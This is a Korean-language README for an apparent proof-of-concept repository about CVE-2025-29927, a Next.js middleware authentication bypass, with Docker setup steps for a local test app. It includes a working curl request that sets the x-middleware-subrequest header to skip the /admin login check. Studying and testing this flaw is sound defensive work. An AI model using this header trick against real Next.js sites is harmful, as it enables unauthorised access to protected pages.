
인증 우회 및 잠재적 익스플로잇을 허용하는 Next.js 미들웨어 취약점(CVE-2025-29927) 연구
이 저장소는 Next.js 미들웨어의 심각한 취약점(CVE-2025-29927) 을 시연합니다. 이 취약점은 버전 11.1.4에서 15.1.7까지 영향을 미칩니다. 이 취약점은 인증 우회, CSP 우회, 그리고 캐시 중독을 통한 잠재적 DoS 공격을 허용합니다. 문제는 x-middleware-subrequest 헤더가 처리되는 방식에서 발생하며, 공격자가 미들웨어 보호 메커니즘을 우회할 수 있게 합니다.
이 개념 증명은 v12의 취약점에 특화되어 있습니다.
다음을 실행하여 도커와 이 저장소의 파일을 사용해 취약한 환경을 설정합니다:
git clone https://github.com/l1uk/nextjs-middleware-exploit.git
cd nextjs-middleware-exploit
docker build -t my-next-app .
docker run -p 3000:3000 my-next-app
이 저장소에는 취약점 익스플로잇 테스트를 위한 exploit.sh 스크립트가 이미 포함되어 있습니다. 테스트를 실행하려면 다음을 실행하세요:
chmod +x exploit.sh
./exploit.sh
또한 다음 방법으로 취약점 익스플로잇을 테스트할 수 있습니다:
login 페이지로 리디렉션되어야 합니다.curl -i http://localhost:3000/admin
x-middleware-subrequest 헤더를 사용하여 페이지를 요청합니다. 인증 페이지를 우회할 수 있어야 합니다.curl -i -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/admin